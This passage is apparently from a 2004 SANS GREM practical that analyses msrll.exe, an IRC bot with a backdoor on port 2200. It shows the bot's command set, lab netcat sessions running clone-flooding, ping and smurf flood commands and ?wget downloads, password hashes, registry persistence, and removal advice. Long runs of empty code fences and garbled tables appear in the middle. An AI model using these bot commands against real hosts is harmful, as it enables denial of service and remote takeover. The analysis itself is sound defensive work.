<td>Used to join an IRC channel.</td>
</tr>
<tr>
<td>?jolt</td>
<td>Performs a large fragmented packet flood attack to a specified IP address.</td>
</tr>
<tr>
<td>?jump</td>
<td>Did not appear to work. Do not know function or purpose.</td>
</tr>
<tr>
<td>?kb</td>
<td>Did not appear to work. Uses NICK and channel. Do not know function or purpose.</td>
</tr>
<tr>
<td>?kill</td>
<td>Used to terminate a process.</td>
</tr>
</tbody>
</table>
### Table of commands identified with OllyDebug

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>?killall</td>
<td>Used to terminate multiple processes.</td>
</tr>
<tr>
<td>?killsk</td>
<td>Used to kill an IRC server connection.</td>
</tr>
<tr>
<td>?login</td>
<td>Did not appear to work. Probably used to authenticate to “bots” on IRC.</td>
</tr>
<tr>
<td>?ls</td>
<td>Lists a local directory.</td>
</tr>
<tr>
<td>?ismod</td>
<td>Did not appear to work (On Linux, shows loaded modules).</td>
</tr>
<tr>
<td>?md5p</td>
<td>Created an MD5 hash of a string (e.g. password).</td>
</tr>
<tr>
<td>?mkdir</td>
<td>Makes local directories.</td>
</tr>
<tr>
<td>?move</td>
<td>Moves a file locally.</td>
</tr>
<tr>
<td>?msg</td>
<td>Used to send an IRC message.</td>
</tr>
<tr>
<td>?nick</td>
<td>Change nick on IRC channel.</td>
</tr>
<tr>
<td>?op</td>
<td>Did not try. Probably an IRC operator function.</td>
</tr>
<tr>
<td>?part</td>
<td>Used to leave an IRC channel.</td>
</tr>
<tr>
<td>?ping</td>
<td>Performs a ping flood attack to a specified IP address.</td>
</tr>
<tr>
<td>?play</td>
<td>Plays a text file.</td>
</tr>
<tr>
<td>?pwd</td>
<td>Displays current working directory.</td>
</tr>
<tr>
<td>?raw</td>
<td>Used to send raw dcc commands.</td>
</tr>
<tr>
<td>?reboot</td>
<td>Reboots a computer.</td>
</tr>
<tr>
<td>?rmdir</td>
<td>Removes directories.</td>
</tr>
<tr>
<td>?rmmod</td>
<td>Did not appear to work (On Linux, removes loaded modules).</td>
</tr>
<tr>
<td>?run</td>
<td>Runs a program.</td>
</tr>
<tr>
<td>?set</td>
<td>Sets environment variables.</td>
</tr>
<tr>
<td>?si</td>
<td>Shows system architecture information.</td>
</tr>
<tr>
<td>?sklist</td>
<td>Displays IRC server information.</td>
</tr>
<tr>
<td>?smurf</td>
<td>Performs a smurf flood attack to a specified IP address.</td>
</tr>
<tr>
<td>?ssl</td>
<td>Appears to display a status. It showed “-1”.</td>
</tr>
<tr>
<td>?status</td>
<td>Shows service, user name, network connection and reboot availability.</td>
</tr>
<tr>
<td>?sums</td>
<td>Displays MD5 hashes of files.</td>
</tr>
<tr>
<td>?uattr</td>
<td>Did not appear to work. Do not know function or purpose. Maybe IRC user attributes.</td>
</tr>
<tr>
<td>?unset</td>
<td>Removes set variables.</td>
</tr>
<tr>
<td>?update</td>
<td>Attempts to update a web site using url and id.</td>
</tr>
<tr>
<td>?uptime</td>
<td>Shows how long a system has been running.</td>
</tr>
<tr>
<td>?wget</td>
<td>Gets files using HTTP, HTTPS and FTP.</td>
</tr>
</tbody>
</table>

Of the commands tried, the ?login command in particular, was used in numerous ways to try to authenticate to the msrll.exe infected systems via the #mils IRC channel.

Breakpoints were set on all the strcmp, strncmp and _stricmp functions in an effort to find the authentication process of ?login. Different parameters and numbers of parameters were tried with the ?login command. Some breakpoints did show that msrll.exe was evaluating input from the IRC channel for issued commands. In the OllyDebug output shown below, the string input on the IRC channel, “?login” was being compared to all the command strings, one by one, in this instance, “?clone.”

```
0040325F | FF30 | PUSH DWORD PTR DS:[EAX] ; |Arg2 = 003F5C00 ASCII "?login"
00403261 | FF33 | PUSH DWORD PTR DS:[EBX] ; |Arg1 = 003F3C20 ASCII "?clone"
```

Screenshot of OllyDebug output showing IRC user input compared with valid commands
The `?login` command was used with, and without, being authenticated on the 2200 port. Different settings were set up on the `#mils` IRC channel, such as requiring a password to join, different channel ops, different nicks such as “run5”, etc. However, nothing revealed how the `?login` process worked.

The only other approach was to follow the code step-by-step, which would take considerable time. Currently, enough of the functionality and purpose of msrll.exe was understood to determine the security risks and mitigation. Therefore, it was concluded that there was no critical need to determine how communication was accomplished via IRC. Further attempts at trying to authenticate and communicate via IRC were abandoned. In relation to the security risks of msrll.exe, the assumption was made that it would be possible to communicate with infected systems via IRC, and risks were determined accordingly.

The following output is from a session with the msrll.exe program where many commands supported by msrll.exe were tried while authenticated on TCP port 2200. Some worked while others did not appear to work. These probably required a specific usage or environment in order to work. In exploring these commands, the most interesting was the “?set” command. The output of the “?set” command can be seen at the top of “Screen shot 3 of 3” of the IRC session shown below. It showed the key configuration data for msrll.exe.
Beginning of IRC session (Screenshot 1 of 3):

#:pass BadPassword
XYZ
?status
service:N user:Administrator inet connection:Y contype: Lan  reboot privs:Y
?
(pass BadPassword) ?
?ping <ip> <total secs> <p size> <delay> [port]
finished 192.168.239.131
?smurf <ip> <p size> <duration> <delay>
smurf done

?jolt
?jolt <ip> <duration> <delay>
(pass BadPassword) ?dir
C:\WINNT\system32\mfm
08/20/2004  18:06   <DIR>           .
08/20/2004  18:06   <DIR>           ..
08/23/2004  20:26             1084  jtram.conf
08/23/2004  20:17          1175552  msrll.exe

?uptime
sys: 30m 56s bot: 19m 16s
?date
(pass BadPassword) ?date
?time
(pass BadPassword) ?time
?hostname
host: malware ip: 192.168.239.130
?mkdir evil created
?dir c:\evil
08/23/2004  20:47   <DIR>           evil
?rmdir c:\evil
?rmdir c:\evil :ok

\WIN2k (u:Administrator) mem: {123/191} 35% GenuineIntel Intel(R) Pentium(R) III M obile CPU 866MHz
?exec notepad
?run notepad
?run: ran ok (4154440)
?ps
0     [System Process]
8     System

...Cut Short for Brevity...
664   OLXYDBG.EXE
1024   msrll.exe
512   notepad.exe
908   notepad.exe
?kill 908
pid 908 killed
notepad exited with code 0

Screenshot 1 of 3 netcat sessions with infected VMware Windows 2000 system on port 2200
(Screenshot 2 of 3):

```plaintext
?join #mils
Set an irc sock to preform ?join command on
  Type .sklist to view current sockets, then .dccsk <#>
.sklist
  #1 [fd:424] 192.168.239.131:0 [DCC ICON RNL ] last:0
  |-> (pass BadPassword) (00000021)
(pass BadPassword) .skldt
  #1 [fd:424] 192.168.239.131:0 [DCC ICON RNL ] last:0
  |-> (pass BadPassword) (00000021)
  #3 [fd:548] collective?..zxy0.com:6667 [IRC IATH IREG ICON RNL ] last:96
  |```

```plaintext
  |```

```plaintext
  |```

```plaintext
  |```

```plaintext
  |```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
Passwords for msrll.exe:
The set command gave insight about the structure of some of the encrypted strings in msrll.exe. Two passwords were incorporated into the msrll.exe code. One password: "$1$KZLPLKDF$SW8kl8Jr1X8D0HCXzm1p9qqQ$5sA1TvmR7bjAdBziX." with variable name "dcc.password" was used for authenticating on the backdoor port 2200. The other password:
“$1$KZLPLKDf$W8kl8Jr1X8DOHZsmlp9qq0 ” called “password” was believed to be used for authentication via IRC. This could not be validated. Both of these strings were made up of a “salt” value and an MD5 hash. In this string example, $1$ABC123$VvP9i7.6VtKKoWUcgOAnT., ABC123 is the salt value used to encrypt the password “hacker” into the digest: “VvP9i7.6VtKKoWUcgOAnT.”.

Further study showed that the password was stored in the jtram.conf file. Once it was changed using the set command, msrll.exe could be restarted and would have the changed password. Below is the section where two different passwords were being set from information stored in jtram.conf.

```
0022FDFC 0040E7CD /CALL to _strcmp from msrll.0040E7C8
0022FE00 003F3AF0 |s1 = "pass"
0022FE04 003F46B0 \s2 = "pass"
0022FE08 003F0000
0022FE0C 00000000
0022FE10 003F4708 ASCII "$1$ABC123$VvP9i7.6VtKKoWUcgOAnT."
```

Screenshot OllyDebug window showing access password on VMware Windows 2000 system

```
0022FDFC 0040E7CD /CALL to _strcmp from msrll.0040E7C8
0022FE00 003F3BF8 |s1 = "dcc.pass"
0022FE04 003F48F8 \s2 = "dcc.pass"
0022FE08 003F0000
0022FE0C 00000000
0022FE10 003F4950 ASCII "$1$KZLPLKDf$55isA1ITvamR7bjAdBziX."
```

Screenshot OllyDebug window showing dcc.pass on VMware Windows 2000 system

Though the passwords can be changed and written to jtram.conf, setting a breakpoint at 7802745A showed that the encryption string did not match the string created by msrll.exe for authentication on port 2200. Even if the same salt value was used, the two password strings did not match.

**IRC Clones:**

One interesting command was the “?clone” command which took an IP address and number of desired copies of the user as input. This allowed the analyst to have many copies of their IRC session connected to the IRC server. In the screenshot example below:

#1 was the IRC server on collective7.zxy0.com.
#2 was the session connected to the “bot” port 2200 started from the VMware Linux system.
#3 & #4 were “cloned” users or “IRC clients” running on the “infected” VMware Windows 2000 system. Clones duplicated traffic, and could be used for Denial of Service (DoS).
#5 was the session connected to the “bot” port 2200 started from the Host system.

Messages could be sent to all “clones” using the command: “?clones all msg msgtext.” The clones also accepted die, join, part and raw IRC commands in the same way.

GREM 1.0 – Gregory Leibolt

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Five listening TCP ports in addition to 2200 were now running for the cloned IRC clients:

<table>
<thead>
<tr>
<th>Proto</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>TCP</td>
<td>malware:epmap</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:microsoft-ds</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1025</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1027</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1044</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1045</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1046</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:2200</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:netbios-ssn</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1044</td>
<td>collective7.zxy0.com:6667</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1045</td>
<td>collective7.zxy0.com:6667</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1046</td>
<td>collective7.zxy0.com:6667</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:2200</td>
<td>collective7.zxy0.com:32787</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>

“Hackers” often wage wars on IRC channels and servers to gain control or to protect their turf. In this effort, they will often use IRC “bot” programs. A large number of “bot” programs at the fingertips of a “hacker” could be used for a variety of purposes. So far, msrll.exe appeared to fall in the category of being an IRC “bot.” Standard network based DoS attacks such as ping floods, syn floods, smurf attacks, etc. were incorporated into msrll.exe. These attacks are launched with the ?ping, ?smurf, ?udp, ?jolt and ?syn commands. In addition to these kinds of attack tools, IRC channels could be flooded by having a lot of clones send data.
Setting up clones can be seen below:

```plaintext
?clone collective7.zxy0.com 20
?skilist
(Gregory) ?skilist
.skilist
#1 [fd:420] collective7.zxy0.com:6667 [IRC IATH IREG ICON RNL ] last:156
|\=> [n:Gregory fh:Gregory!~kXWdIxE@192.168.239.132] (EFnet)
|
| |---[#mils] (2) +tn
| | |-[Gregory] [192.168.239.132]
| | |-[root] [127.0.0.1]
#2 [fd:476] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#3 [fd:448] 192.168.239.1:0 [DCC ICON RNL ] last:0
|\=> (Gregory) (00000021)
#4 [fd:432] 192.168.239.131:6667 [IRC IREG CLON ICON RNL ] last:11
|\=> [n:GDLyGEURA fh:GDLyGEURA!QssqsRkAOu@192.168.239.132] (EFnet)
#5 [fd:484] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#6 [fd:500] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#7 [fd:516] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#8 [fd:532] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#9 [fd:548] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#10 [fd:564] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#11 [fd:580] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#12 [fd:596] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#13 [fd:612] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#14 [fd:628] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#15 [fd:644] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#16 [fd:660] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#17 [fd:676] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#18 [fd:692] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#19 [fd:708] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#20 [fd:724] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#21 [fd:740] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#22 [fd:756] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
#23 [fd:772] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:11
|\=> (Gregory) (00000021)
|\=> [n:jkIsVMcLQ fh:jkIsVMcLQ!VrgkQyU@192.168.239.132] (EFnet)
| | |---[#mils] (2) +tn
| | | |-[jkIsVMcLQ] [192.168.239.132]
| | | |-[root] [127.0.0.1]
#3 [fd:448] 192.168.239.1:0 [DCC ICON RNL ] last:0
|\=> (Gregory) (00000021)
?clone collective7.zxy0.com 100
.skilist
#1 [fd:772] collective7.zxy0.com:6667 [IRC IATH IREG ICON RNL ] last:148
|\=> [n:jkIsVMcLQ fh:jkIsVMcLQ!VrgkQyU@192.168.239.132] (EFnet)
|
| |---[#mils] (2) +tn
| | |-[jkIsVMcLQ] [192.168.239.132]
| | |-[root] [127.0.0.1]
#2 [fd:756] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:2
... Cut Short for Brevity ...
#99 [fd:1580] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:3
#100 [fd:1588] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:3
#101 [fd:1596] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:3
#102 [fd:1604] collective7.zxy0.com:6667 [IRC CLON ICON RNL ] last:3
?clones all join #mils
?clones all part #mils
?clones all die
>skilist
#1 [fd:772] collective7.zxy0.com:6667 [IRC IATH IREG ICON RNL ] last:0
|\=> [n:jkIsVMcLQ fh:jkIsVMcLQ!VrgkQyU@192.168.239.132] (EFnet)
|
| |---[#mils] (2) +tn
| | |-[jkIsVMcLQ] [192.168.239.132]
| | |-[root] [127.0.0.1]
#3 [fd:448] 192.168.239.1:0 [DCC ICON RNL ] last:0
|\=> (Gregory) (00000021)
?clones all join #mils
?clones all part #mils
?clones all die
```

Screenshot from netcat session on port 2200 showing clone message flooding attack

GREM 1.0 – Gregory Leibolt 35
In the following example, the “bad guy,” using the infected machine, logged on to msrll.exe on port 2200, then used the numerous clones to send a lot of messages to a user called root on the #mils channel. After blasting the messages, the “bad guy” asked if: “all was well.”

```
?clones all msg root "This is going to blast the heck out of you..."
?msg root "Is all well"
said Is all well to root
```

From root’s IRC terminal, a hundred messages of “This is going to blast the heck out of you…” appeared. After the last one, a message was asked: “Is all well?” Root responded: “sure why not?” Note, no response was seen, above, on the infected machine. This “bot” seemed to only offer one-way communication with channels such as #mils. The screenshot below is the “root” IRC nick response saying: “sure why not.”

```
*SlkTVisFf * This is going to blast the heck out of you...
*SlkTVisFf * Is all well?
-> * SlkTVisFf * sure, why not?
```

Using an IRC client to connect to port 2200:

To connect to the “bot” port 2200, mIRC or any IRC client could be used. In fact, the communication protocol on the 2200 port was specifically designed for communicating with the IRC “/server” command which supplied a password and a nick name. The format was: “/server Infected-IP-Address 2200 AnyPassword AnyText.” For this particular lab environment: “/server 192.168.239.132 2200 mIRC XYZ” was used to connect.

Once connected, users can chat via dcc chat. There was no necessity to connect to the collective7.zxy0.com IRC channel #mils. The following box shows a chat between a mIRC client and a netcat session both connected to port 2200:

```
/privmsg mirc How are you doing?
(pass greg) /privmsg mirc How are you doing?
(PASS mIRC) PRIVMSG greg :I'm fine, you?
```

Commands to the msrll.exe malware can be sent by using /raw:

```
/raw ?si
-> Server: ?si
WIN2k (u:Administrator) mem:(123/191) 35% GenuineIntel Intel(R) Pentium(R) III Mobile CPU 866MHz
```

GREM 1.0 – Gregory Leibolt
Once logged on to a system, files could be retrieved from anywhere on the Internet using wget. The wget command supported both HTTP and HTTPS as shown in the testing below:

From the “infected” system, a wget request was made to the HOST Windows 2000 system listening on port 80 with netcat:

```bash
wget http://192.168.239.1/test.txt
```

On the HOST Windows 2000 system, the netcat output showed the wget request:

```
C:\Documents and Settings\Leibolt>nc -l -p 80
GET /test.txt HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0
Host: 192.168.239.1
Cache-Control: no-cache
```

The next test showed that wget attempted to set up an SSL session on port 443. The wget command was used with https specified in the URL:

```bash
wget https://192.168.239.1/test.txt
```

On the HOST Windows 2000 system, netcat listening on port 443 showed the wget request with SSL attempting to negotiate certificate exchange:

```
C:\Documents and Settings\Leibolt>nc -l -p 443
```

Using both wget and the dcc send/get commands permitted any kind of file(s) to be placed on the “infected” system. Hacker tools such as rootkits, exploits, DoS tools and Man in the Middle attacks tools, could be placed on the system to be used in an infinite number of ways. The system could be set up to be used as a Warez server or an smtp redirector for spamming, or to just remain as an IRC “bot.” In any case, once infected with msrll.exe, the system was under complete control by the “bot Master.”
Jtram.conf Configuration File

Reviewing the jtram.conf file that was created by msrll.exe showed that it was comprised of encrypted strings.

An example C:\WINNT\system32\mfm\jtram.conf file is shown below:

```
WgERAK26eAp/z1YQVcz8FI7cRrS8q53dhlVMAhK6c7KNAaQA==
yf8RAB1pQBBUKB4Ky6VCoSm6cexM6h0hdRFkxQX7jLW3uyjxqj==
/QAPABGMHMrqUOE+P1hw4I3hLH9MnP6s3kOIlv9Ywo5t11aA==
2F4RAOHEin1bnzwkidSf5WZeZP699p42zXKDA1Ac3135p7xg==
5P8A79d6e3e690Sg76TXBGlJntx6VWLaO5gTj9QzwNNTmFJnbvw==
gv4RAASjR7GS1ip8Uc1d9qPcCtDkCkFrsoGjvC1Uyd+qA==
Nv9RABIGYu82xI2ByQ11sGy6HOPmB6taJuY98xAs5mfqLDSg==
pQARAO/pcow5VQC5fcdv4TNkRz2BvX01L60f4LScMhKnWzl1EA==
5v4KAVKsna2JNnty19Gh46Q2uAc153vrsb1N+nw1BMk3rmyBMVKNdb1Lmrga8BAlAZTricDgk3U3ADgf2FYs1df02T9m
JPeAg1qjwBjN4P9Whq6pPYHXKEMwLQ==
```

Table displaying data in the jtram.conf file

By placing a break on memory address 00411780, and opening up the stack widow, the analyst could see the cleartext and associated ciphertext created for use in jtram.conf.

The following screen shot shows this setup:

![Screenshot from OllyDebug showing breakpoint on 00411780 and both cleartext and ciphertext destined for jtram.conf file](image-url)
Below are the cleartext / ciphertext pairs of the jtram.conf file as gleaned from OllyDebug:

<table>
<thead>
<tr>
<th>Ciphertext</th>
<th>Cleartext</th>
</tr>
</thead>
<tbody>
<tr>
<td>WgERAZ66Ap/z1YQQyczRF7/QRzqF3Wr1VMhM6nC/kHAAaO==</td>
<td>bot.port</td>
</tr>
<tr>
<td>yf88AB1gBBBU84YdVcgeAwXcmk9bDSFkY0/QEX3JLVQVj9g==</td>
<td>2200</td>
</tr>
<tr>
<td>/QARAqGnMrqQo+ePlh41cLhK8HmPn3sXk2OlYwoFml1aA==</td>
<td>Set</td>
</tr>
<tr>
<td>2PRA06Enlhbzw1kd85WZOp699Sp4zX3kDAtYAc133Sp7%xg==</td>
<td>irc.quit</td>
</tr>
<tr>
<td>5PRBAJ9dxe656905e76TxBG7zWtx6WvLa05gT79qzwNTmJnbww==</td>
<td>Note: No cleartext displayed</td>
</tr>
<tr>
<td>qv4RAASJ7R7GIS1p8uVhC+i1d9qFtcufCtkKxTGvC1UYd+qA==</td>
<td>Set</td>
</tr>
<tr>
<td>Nv8RAIGYhU82xXZByO1IllgdywoOyHBBBo7ajYu8xXa5mqFLDsg==</td>
<td>Servers</td>
</tr>
<tr>
<td>pQARAO/cpocw5VQSfcdv47N3Kr26vXU0L600f4L5SCmNhMmWZlEA==</td>
<td>collective7.zxy0.com,collective7.zxy0.com:9999, collective7.zxy0.com:8080</td>
</tr>
<tr>
<td>5v9XAGbks1A/NmTpyI9Gm962uuAc1lJvrsbIN+w1lk3KrmyBVMK1InD</td>
<td></td>
</tr>
<tr>
<td>DBtLarg8BAAJ2Tr1CdgKUQ3ADqf2FYs1Dfc7TM3mPfQAGIQ9UBJ+A4</td>
<td>Set</td>
</tr>
<tr>
<td>SWhg6pDYYHXUEwLq==</td>
<td></td>
</tr>
<tr>
<td>fg1RAFCY6hGULM31LSM6DYWucTEFX1NzSk/UpnxGOfaRMtRwNw==</td>
<td>irc.quit</td>
</tr>
<tr>
<td>hQ ERAIPOvq80T810Dc70FWa6z9m9Nmsca8bCuy59j9mpzxb==</td>
<td>#mil</td>
</tr>
<tr>
<td>zAEAH85cFhAK4PhDNOTckm7KnWeXxk772GaPSK5/LBeQxsRFG==</td>
<td>Set</td>
</tr>
<tr>
<td>KQERALhMu3sOxC1X8DTBH7YVHLM3FZKfMqJyJriaJer+rqfQw==</td>
<td>Pass</td>
</tr>
<tr>
<td>WYRAACoWY4/30VioLUgyOVXUGhfRTTeIeh68a1TEvzhhnacSug==</td>
<td>$I$KZLPLKDf$W8kI8j18xOH20zm1p9q0</td>
</tr>
<tr>
<td>s9v4jAP7x35VhFvzuh+c21m1nwXTVUVc6A67or1p8R93i1n85j1+J</td>
<td>Set</td>
</tr>
<tr>
<td>+pQXZKmt1R1xN8k5Q==</td>
<td></td>
</tr>
<tr>
<td>KP4ARAB1K+5CZ3qYRMm+kKYxk5717R1maJz28yGbE9L4PA+TW==</td>
<td>dcc.pass</td>
</tr>
<tr>
<td>nQARAe7UraZCyQwODFDrKwq6G553LRVWjQKlinKqojLq6q/e==</td>
<td>$I$KZLPLKDf$S5isA1TvamR7b9AdBz1X.</td>
</tr>
<tr>
<td>sv4jALta2in+tgg0d6BNTEygbX6/Z8v7i1dMoT7jqAuVuaahfZ10Y</td>
<td>Note: No cleartext displayed</td>
</tr>
<tr>
<td>8vt/7p8p60LNKrzfww==</td>
<td></td>
</tr>
</tbody>
</table>

Table showing ciphertext/ cleartext pairs in the jtram.conf file

### Boot-up Activation:

The msrl.exe malware could only run successfully if an admin level user ID executed it. With full admin access, it wrote entries into the registry to ensure that the program would run again on re-boot. The Regshot showed that msrl.exe created 4 keys:

```
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\msm
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\msm
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msm
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msm\Security
```

### A Service called “Rll enhanced drive” which runs msrl.exe was set up:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msm\DisplayName: "Rll enhanced drive"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msm\ImagePath: "C:\WINNT\system32\msml.exe"
```

### The Regmon tool showed that Microsoft Services set the "Rll enhanced drive" service:

```
30527 384.17245376 SERVICES.EXE:212 SetValue HKLM\SystemCurrentControlSet\Services\msm\ImagePath SUCCESS "C:\WINNT\system32\msml.exe"
30528 384.17250824 SERVICES.EXE:212 SetValue HKLM\SystemCurrentControlSet\Services\msm\DisplayName SUCCESS "Rll enhanced drive"
```
Debugger code showed the service setup code:

```
0040CA2A | 6A 02       PUSH 2                        ; |StartType = SERVICE_AUTO_START
0040CA2C | 68 20010000 PUSH 120                      ; |ServiceType =
SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS
0040CA31 | 68 FF010F00 PUSH 0F01FF                   ; |DesiredAccess = SERVICE_ALL_ACCESS
0040CA36 | 68 97C84000 PUSH msrll.0040C897           ; |DisplayName = “Rll enhanced drive”
0040CA3B | 68 4EBD4000 PUSH msrll.0040BD4E           ; |ServiceName = “mfm”
0040CA40 | 53          PUSH EBX                      ; |hManager
0040CA41 | E8 EA4C0000 CALL <JMP.&ADVAPI32.CreateServiceA>      ; 
```

Screenshot from OllyDebug showing Rll enhanced drive service setup

As a service, msrll.exe was set to run at boot time. The Microsoft services utility clearly showed the “Rll enhanced drive” (msrll.exe) set to run at boot:

As a service, msrll.exe was set to run at boot time. The Microsoft services utility clearly showed the “Rll enhanced drive” (msrll.exe) set to run at boot:

Screenshot from Windows Services Manager

Analysis Wrap-Up

Analysis has shown that the msrll.exe malware would primarily fall under the category of being an IRC “bot.” The http://www.newircusers.com/nfaq.html web site provided a good description of a “bot:”

17. What is a BOT?

Bot is short for Robot. A bot is a program written by a user that acts like and may appear to be an actual user, depending on the skill of the programmer. Bots are not looked on favorably by most Networks. They are even banned by many servers. Bots have been given a bad rap due to misuse and abuse by hackers. Malicious Bots can be programmed to flood channels with useless garbage (FloodBots), make copies of themselves for use in channel takeover attempts (CloneBots), cause nick collisions which result in a user being “killed” and dropped from IRC (KillBots), or any other number of destructive functions. Bots can, however, be very useful if properly programmed. They can be user [sic] to hold a channel open when the owner is not physically there on the channel, they can be set up as a file server to offer files to people, they can be used [sic] as help and information servers, or they can even be used to run games on a channel. Bots can range from the very simple to the very complex. The most powerful Bots are run on irc client programs, which is a UNIX based system. Bots are not for everyone, and I would advise you not even consider using one.

Screenshot from http://www.newircusers.com/nfaq.html web site
Purpose of msrll.exe:

This IRC “bot” was designed to primarily serve three purposes:

1. It could be used to help protect an IRC channel, but it was more likely to be used as an “attack” tool against other IRC channels and servers.

2. It could also be used to perform distributed denial of service attacks using ping floods, syn floods, udp floods, etc. on any unprotected target. In addition to the tools incorporated into msrll.exe, which include mIRC v6.12 for IRC support, and some denial of service tools, other tools could be uploaded for execution.

3. Finally, the back door set up by msrll.exe allowed complete control on the “infected system.” This permitted access to all the files on the system, but also potential access to other networks and related computers. Msrll.exe was designed to use both LAN and modem connections.

Msrll.exe activation:

1. Installed a copy of itself
   A folder called “mfm” was created in the Windows system directory “%System%\mfm” e.g. “C:\WINNT\System32\mfm on Windows 2000,” where it placed a copy of itself. Once the copy was created, the original “artifact” was deleted and the “copy” took over control.

2. Ensured operation at boot-up
   On Windows 2000 systems, msrll.exe added itself as a service using the name “Rll enhanced drive” to ensure startup at boot time.

3. Wrote a configuration file
   The msrll.exe IRC “bot” used a configuration file called jtram.conf. This file contained settings such as the name of the IRC channel to join, the back door port number, the authentication passwords, etc.. Everything in this file was stored encrypted with the Rijndael (AES) algorithm. Once written, any of these settings could be changed once authenticated.

4. Joined an IRC channel
   First, it tried to join an IRC channel called “#mils” on an IRC server called collective7.zxy0.com. It tried to connect first on the standard IRC port 6777 and if that failed, it tried 9999 and 8080. The nick used by the “bot” was a random mixture of letters and changed every time it joined the channel. The “bot Master,” or person using the “bot,” can clearly see all the “bots” that have joined that #mils channel. These “bots” would then be available to perform various tasks at the command of the “bot Master.”

5. Opened a back door port
   Another key task performed upon activation was the creation of a back door service which ran on port 2200. This service provided complete control of the infected system and could also be used to connect to the #mils IRC channel or other IRC channels. A suite of built-in IRC, DCC and system commands were available upon authenticating to the service with a password.
Mitigation and removal:

The most important way of protecting a system from being infected with msrl.exe would be to use good virus protection software with current signature.dat files. When running Windows ME or XP, the System Restore must be disabled to allow full scanning of infected systems.

Secondly, firewall protection that requested whether outbound traffic was valid before permitting it, may catch any IRC outbound requests made by msrl.exe. If someone was an avid IRC user, this might not be as helpful. However, unsolicited inbound traffic should be stopped by the firewall, which would protect access to the back door port.

The best way to remove msrl.exe from an infected system would be to reboot the computer in “safe mode.” This would ensure no network connectivity and that no sessions were connected with msrl.exe.

It would be important to make sure that the msrl.exe process was not running by checking the Task Manager. If it were running, it could be terminated with the following steps:

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>On Windows 95, 98, and ME, open the Windows Task Manager by pressing CTRL+ALT+DELETE. On Windows NT, 2000, and XP, press CTRL+SHIFT+ESC.</td>
</tr>
<tr>
<td>2.</td>
<td>Select the “Processes” tab.</td>
</tr>
<tr>
<td>3.</td>
